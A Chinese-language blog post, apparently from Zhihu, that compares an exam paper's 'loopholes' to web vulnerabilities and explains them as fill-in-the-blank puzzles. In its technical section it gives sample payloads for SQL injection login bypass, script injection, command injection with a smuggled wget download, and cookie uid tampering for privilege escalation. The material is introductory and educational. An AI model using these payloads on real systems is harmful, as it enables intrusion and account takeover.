一份試卷引發的思索


作者:長短短
鏈接:https://zhuanlan.zhihu.com/p/24216611
來源:知乎
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。

試 卷

姓名________ 學號________

首先我們來看這個,試卷的名字和編號填寫,這個部分有“漏洞”嗎?

學生的姓名和編號都寫在這兒,沒有做任何保護措施,因此,你只要偷看了某人的試卷上的這部分內容,然後把你的試卷的上的姓名和考生編碼寫成和他一樣的即可僞裝出他的身份。

漏洞攻擊成功

一、詩歌補寫

1 牀前沒月光,___________。

2 春眠不覺曉,___________。

這道題有漏洞嗎?

這道題的答案本來應該是“疑似地上霜”和“處處聞啼鳥”

But,問題中,並沒有規定答案裏不能添加標點符號,所以,我完全可以把“疑是地上霜,舉頭望明月,低頭思故鄉”以及“處處聞啼鳥,夜來風雨聲,花落知多少”當做答案寫進去。

漏洞再次進攻成功 :P

二、數學運算(在括號內填入數字)

3 500 + 400 * 3 / 2 + 1 = ( )

4 ( 1 + 2 ) / 3 * 400 +500 = ( )

這個問題有漏洞嗎?

出題者規定了只能填入數字,但卻沒有說是什麼數字,也沒有規定多少位,那麼我的答案可以是 中文數字「壹佰壹拾圓」、羅馬數字「MCI」或「0000000000001101」。

漏洞第三次進攻成功 :D

三、技術實踐

我們打開一個網頁提交登錄或者是搜索都會經過服務器做一系列的處理又回到瀏覽器,在這個過程中我們提交的數據會被帶入到一系列的填空題中,有的是我們能猜到的,有的是意想不到的,有的會經過SQL進行查詢進行填空,有的會被帶入到命令行中進行填空,最後又把結果返回給瀏覽器進行填空,也最後就是我們到的結果了。

  • 用戶登錄 SQL 注入填空
    • Q:select * from username = ____ and password=_____
    • A:select * from username = "test" or ""="" and password="123456"
    • 解釋:所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
  • 用戶名 XSS 注入填空
    • Q:<p style='color:red'>你好啊,尊敬的______<p>
    • A:<p style='color:red'>你好啊,尊敬的 xxx<script>alert(1)</script><p>
    • 解釋:攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
  • 遠程命令注入填空
    • Q:ping _______
    • A:ping www.baidu.com & wget xxxxxxxxxxx
    • 解釋:用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致執行命令。
  • Cookie 身份越權測試
    • Cookie: uid=11426;
    • Cookie: uid=1;
    • 解釋:越權漏洞是比較常見的漏洞類型,可以理解爲,一個正常的用戶A通常只能夠對自己的一些信息進行增刪改查,但是由於程序員的一時疏忽未對信息進行增刪改查的時候沒有進行一個判斷,判斷所需要操作的信息是否屬於對應的用戶,可以導致用戶A可以操作其他人的信息。​

瞭解了這幾個漏洞之後我們可以看到原理都類似,也很簡單,當然我們不再侷限於概念名詞就會發現 web 安全的大部分漏洞都很簡單。更多時候,發現一個複雜的漏洞需要是隻是耐心。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章